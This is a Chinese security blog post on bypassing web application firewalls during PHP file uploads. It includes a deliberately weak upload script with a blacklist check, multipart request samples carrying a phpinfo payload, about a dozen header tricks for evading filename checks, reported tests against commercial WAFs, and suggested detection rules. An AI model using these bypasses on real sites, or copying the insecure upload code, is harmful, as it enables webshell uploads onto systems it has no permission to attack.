文件上传和WAF的攻与防
Author:JoyChou
Date:20180613
1. 前言
本文的测试环境均为
- nginx/1.10.3
- PHP 5.5.34
有些特性和 语言及webserver有关,有问题的地方,欢迎大家指正。
2. 文件上传的特征
先来了解下文件上传的特征,抓包看看这段文件上传代码的HTTP请求。
upload.php
<?php if(isset($_POST['submit_x'])){
$upfile = $_FILES['filename']['name'];
$tempfile = $_FILES['filename']['tmp_name']; $ext = trim(get_extension($upfile)); // 判断文件后缀是否为数组里的值
if(in_array($ext,array('xxx'))){
die('Warning! File type error..');
} $savefile = 'upload/' . $upfile;
if(move_uploaded_file($tempfile, $savefile)){
die('Upload success! FileName: '.$savefile);
}else{
die('Upload failed..');
}
} // 获取文件后缀名,并转为小写
function get_extension($file){
return strtolower(substr($file, strrpos($file, '.')+1));
} ?> <html>
<body>
<form method="post" action="#" enctype="multipart/form-data">
<input type="file" name="file_x" value=""/>
<input type="submit" name="submit_x" value="upload"/>
</form>
</body>
</html>
请求
POST /upload.php HTTP/1.1
Host: localhost
Content-Length: 274
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuKS18BporicXJfTx
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,de;q=0.6,en;q=0.4,fr;q=0.2
Connection: close ------WebKitFormBoundaryuKS18BporicXJfTx
Content-Disposition: form-data; name="file_x"; filename="xx.php" <?php phpinfo(); ?>
------WebKitFormBoundaryuKS18BporicXJfTx
Content-Disposition: form-data; name="submit_x" upload
------WebKitFormBoundaryuKS18BporicXJfTx--
从中获取特征为:
- 请求Header中Content-Type存在以下特征:
multipart/form-data
(表示该请求是一个文件上传请求)- 存在boundary字符串(作用为分隔符,以区分POST数据)
- POST的内容存在以下特征:
- Content-Disposition
- name
- filename
- POST中的boundary的值就是Content-Type的值在最前面加了两个
--
,除了最后标识结束的boundary - 最后标识结束的boundary最后默认会多出两个
--
(测试时,最后一行的boundary删掉也能成功上传)
3. WAF如何拦截
先来想想,如果自己写WAF来防御恶意文件上传。你应该如何防御?
- 文件名
- 解析文件名,判断是否在黑名单内。
- 文件内容
- 解析文件内容,判断是否为webshell。
- 文件目录权限
- 该功能需要主机WAF实现,比如我见过的云锁。
目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析。
大致步骤如下:
- 获取Request Header里的
Content-Type
值中获取boundary值 - 根据第一步的boundary值,解析POST数据,获取文件名
- 判断文件名是否在拦截黑名单内
看看春哥写的这个解析文件上传的代码,就能理解了,不过这份代码已经没维护了。但是这份代码解析了文件名,只是绕过方式比较多。
lua-resty-upload这份代码还在维护,不过只是取了内容,文件名需要自己解析。
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="xx.php"
Content-Type: text/javascript <?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="submit_x" upload
------WebKitFormBoundaryj1oRYFW91eaj8Ex2--
返回
read: ["header",["Content-Disposition","form-data; name=\"file_x\"; filename=\"xx.php\"","Content-Disposition: form-data; name=\"file_x\"; filename=\"xx.php\""]]
read: ["header",["Content-Type","text\/javascript","Content-Type: text\/javascript"]]
read: ["body","<?php phpinfo(); ?>"]
read: ["part_end"]
read: ["header",["Content-Disposition","form-data; name=\"submit_x\"","Content-Disposition: form-data; name=\"submit_x\""]]
read: ["body","upload"]
read: ["part_end"]
read: ["eof"]
read: ["eof"]
4. 绕过
获取文件名的地方在Content-Disposition: form-data; name="file_x"; filename="xx.php"
和Content-Type里,所以绕过的地方也就在这两个地方了。
4.1 去掉引号
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
4.2 双引号变成单引号
Content-Disposition: form-data; name='file_x'; filename='xx.php'
单引号、双引号、不要引号,都能上传。
4.3 大小写
对这三个固定的字符串进行大小写转换
- Content-Disposition
- name
- filename
比如name转换成Name,Content-Disposition转换成content-disposition。两年前,拿它绕过安全狗的上传,不知道现在如何。
4.4 空格
在:
;
=
添加1个或者多个空格,不过测试只有filename在=
前面添加空格,上传失败。
在filename=后面添加空格,截止到2017年10月04日还能绕过某盾WAF。
4.5 去掉或修改Content-Disposition值
有的WAF在解析的时候,认为Content-Disposition
值一定是form-data
,造成绕过。两年前,拿它绕过安全狗的上传,不知道现在如何。
Content-Disposition: name='file_x'; filename='xx.php'
4.6 交换name和filename的顺序
规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。
有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。
Content-Disposition: form-data; filename="xx.php"; name=file_x
4.7 多个boundary
最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.txt"
Content-Type: text/javascript <?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.php"
Content-Type: text/javascript <?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="submit_x" upload
------WebKitFormBoundaryj1oRYFW91eaj8Ex2--
4.8 多个filename
最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。
Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php"
4.9 多个分号
文件解析时,可能解析不到文件名,导致绕过。
Content-Disposition: form-data; name="file_x";;; filename="test.php"
4.10 multipart/form-DATA
这种绕过应该很少,大多数都会忽略大小写。php和java都支持。
Content-Type: multipart/form-DATA
4.11 Header在boundary前添加任意字符
这个只能说,PHP很皮,这都支持。试了JAVA会报错。
Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2
4.12 filename换行
PHP支持,Java不支持。截止到2017年10月18日,这个方法能绕过某盾。
Content-Disposition: form-data; name="file_x"; file
name="test.php"
这种PHP也支持。
fi
lename
4.13 name和filename添加任意字符串
PHP上传成功,Java上传失败。
Content-Disposition: name="file_x"; bypass waf upload; filename="test.php";
4.14 其他
其他利用系统特性的就不描述了,不是本文重点。有兴趣可以看下我的Waf Bypass之道(upload篇)
5. 案例测试
5.1 某盾
测试了某盾WAF对恶意文件上传的拦截。方法比较粗暴,判断如下:
- 判断POST数据是否存在
Content-Disposition:
字符串 - 判断filename的文件名是否在黑名单内
两者满足就拦截,没有做其他多余的判断,正则也很好写。
测试:curl -v -d "Content-Disposition:filename=xx.php;" yq.aliyun.com
拦截
这种方式确实有误拦截情况。不过截止到2017年10月04日,某盾的上传还是能够通过在filename=
后面添加空格进行绕过。
POC:Content-Disposition: form-data; name="file_x"; filename= "xx.php";
下面这种也能绕过。
Content-Disposition: form-data; name="file_x"; file
name="test.php"
5.2 ucloud
先找一个用了UCloud WAF的网站测试。
拦截
Content-Disposition: form-data; name="file_x";filename="xx.php"
去掉form-data绕过
Content-Disposition: name="file_x";filename="xx.php"
其他的就不测试了…
6. How to Play
看了这么多,那规则到底应该如何写。我个人想法如下:
- 由于是文件上传,所以必须有Content-Type: multipart/form-data,先判断这个是否存在。
- POST数据去掉所有换行,匹配是否有
Content-Disposition:.*filename\s*=\s*(.*php)
类似的规则。
这只是我的个人想法,如果有更好的想法,欢迎交流讨论。
7. Reference
i春秋推出优享会员制,开通会员可以免费畅享多类课程、实验、CTF赛题等付费内容,并可享有包括会员日专属福利、就业推荐等多种特权福利,更多活动详情可点击:https://bbs.ichunqiu.com/thread-40795-1-1.html了解哦~
文件上传和WAF的攻与防的更多相关文章
- 文件上传之WAF绕过及相安全防护
文件上传在数据包中可修改的地方 Content-Disposition:一般可更改 name:表单参数值,不能更改 filename:文件名,可以更改 Content-Type:文件 MIME,视情况 ...
- 24:WEB漏洞-文件上传之WAF绕过及安全修复
本课重点 案例1:上传数据包参数对应修改测试 案例2:safedog+云服务器+uploadlabs测试 案例3:safedog+云服务器+uploadlabs_fuzz测试 案例4:文件上传安全修复 ...
- 文件上传绕过WAF
文件上传 文件上传实质上还是客户端的POST请求,消息主体是一些上传信息.前端上传页面需要指定 enctype为multipart/from-data才能正常上传文件. 此处不讲各种中间件解析漏洞只列 ...
- 文件上传过waf的方法
原文链接: https://www.cesafe.com/8411.html 原始请求包: ——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Dispositi ...
- 过waf实战之文件上传bypass总结
这里总结下关于waf中那些绕过文件上传的姿势和尝试思路 环境 apache + mysql +php waf:某狗waf 这里写了一个上传页面 <html> <body> &l ...
- Upload-labs 文件上传靶场通关攻略(下)
Upload-Labs靶场攻略(下) Pass-11 GET型传参,上传目录可设置,考虑00截断,在/upload/后添加1.php%00,即可上传 Pass-12 POST型传参,上传目录可设置,P ...
- Upload-labs 文件上传靶场通关攻略(上)
Upload-labs 文件上传靶场通关攻略(上) 文件上传是Web网页中常见的功能之一,通常情况下恶意的文件上传,会形成漏洞. 逻辑是这样的:用户通过上传点上传了恶意文件,通过服务器的校验后保存到指 ...
- PHP 文件上传全攻略
PHP文件上传功能一般都是大家使用事先封装好的函数,要用的时候直接使用已封装的函数就完了,但有时候不能使用封装函数,还真不大能记住PHP的上传相关的东西,在此做个总结,以备后用. 1.表单部分 允 ...
- WEB安全第二篇--用文件搞定服务器:任意文件上传、文件包含与任意目录文件遍历
零.前言 最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件.底层安全.漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的pay ...
随机推荐
- python 的深浅copy
1.引用: A=B, 修改B后,A会被修改 2.浅拷贝:A=copy.copy(B) 3.深拷贝:A=copy.deepcopy(B) 如果希望任何改变,两个对象都不会相互影响,用深拷贝.详情参考:h ...
- java书籍
1.«java高并发编程详解 »一本比较详细介绍多线程的书籍,个人感觉比 并发编程思想 这本书详细
- java.util.logging jdk日志详解
jdk自带的日志,结构并不复杂,功能也能满足绝大部分功能.日志写入位置是开放的,只要继承了handler都可以接收日志的写入.handler本身依赖于LogRecord对象,该对象代表一个日志.Han ...
- 最流行的Python编辑器/IDEs你认识吗?
来源商业新知网,原标题:来!带你认识几种最流行的Python编辑器/IDEs(附链接) 大数据文摘授权转载自数据派THU 作者:By Gregory Piatetsky 格雷戈里·皮亚特斯基,KDnu ...
- PHPStorm 2018 的安装 汉化 与使用
下载地址 和安装方法 链接:https://pan.baidu.com/s/1FT8aZoQajw044qlNXkRPfg 提取码:z4sx 配置与使用方法 https://blog.csdn.net ...
- SpringBoot的spring-boot-starter有哪些(官方)
看完这些,你就知道每个spring-boot-starter依赖些什么东西了. 地址:https://github.com/spring-projects/spring-boot/tree/v2.1. ...
- Jmeter正则表达式提取器二(转载)
转载自 http://www.cnblogs.com/qmfsun/p/5906462.html JMeter获取正则表达式中的提取的所有关联值的解决方法: 需求如下: { : "error ...
- JAVA企业级应用TOMCAT实战
1. Tomcat简介 原文链接:https://blog.oldboyedu.com/java-tomcat/ Tomcat是Apache软件基金会(Apache Software Foundati ...
- 交叉编译bash
1 下载bash版本:[version 4.2.53]地址:http://ftp.gnu.org/gnu/bash/ 2 解压将下载的bash压缩包解压,命令: # mkdir /home/carri ...
- crontab命令详解 含启动/重启/停止
linux 系统则是由 cron (crond) 这个系统服务来控制的.Linux 系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的.另 外, 由于使用者自己也可以设置计划任务,所以, ...